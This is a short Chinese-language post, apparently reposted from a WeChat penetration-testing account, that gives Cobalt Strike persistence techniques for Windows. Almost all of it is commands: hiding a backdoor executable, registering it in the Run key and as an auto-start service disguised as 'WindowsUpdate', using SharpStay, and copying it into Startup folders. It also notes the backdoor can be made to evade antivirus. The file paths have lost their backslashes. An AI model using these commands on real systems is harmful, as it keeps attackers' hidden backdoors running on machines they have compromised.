cobaltstrike权限维持

1.注册表启动

注意：优先用这种方式来进行权限维持

task.exe是CS生成的后门文件，这里后门文件可以对其做免杀

隐藏文件

shell attrib C:Windowstask.exe   +s +h

注册表启动后门文件

shell reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v WindowsUpdate /t REG_SZ /d "C:Windowstask.exe" /f

2.windows服务自动启动

隐藏文件

shell attrib C:Windowstask.exe   +s +h

服务自动启动执行后门文件

shell sc create "WindowsUpdate"  binpath=  "cmd /c start C:Windowstask.exe"

shell sc config "WindowsUpdate" start= auto

shell  net start"WindowsUpdate"

或者

3.SharpStay.exe 自动化任务启动

SharpStay.exe action=CreateService servicename=Debug command="C:Windowstask.exe"

4.自动启动服务目录(win7系统才有效）

shell  copy  "C:Windowstask.exe"   "C:UsersAdministratorAppDataRoamingMicrosoftWindowsStart MenuProgramsStartupWindowsUpdate.exe" /y

或者

copy  "C:Windowstask.exe"   "%programdata%MicrosoftWindowsStart MenuProgramsStartupWindowsUpdate.exe" /y

shell  attrib "C:UsersAdministratorAppDataRoamingMicrosoftWindowsStart MenuProgramsStartupWindowsUpdate.exe" +s +h

原文始发于微信公众号（渗透测试研究中心）：cobaltstrike权限维持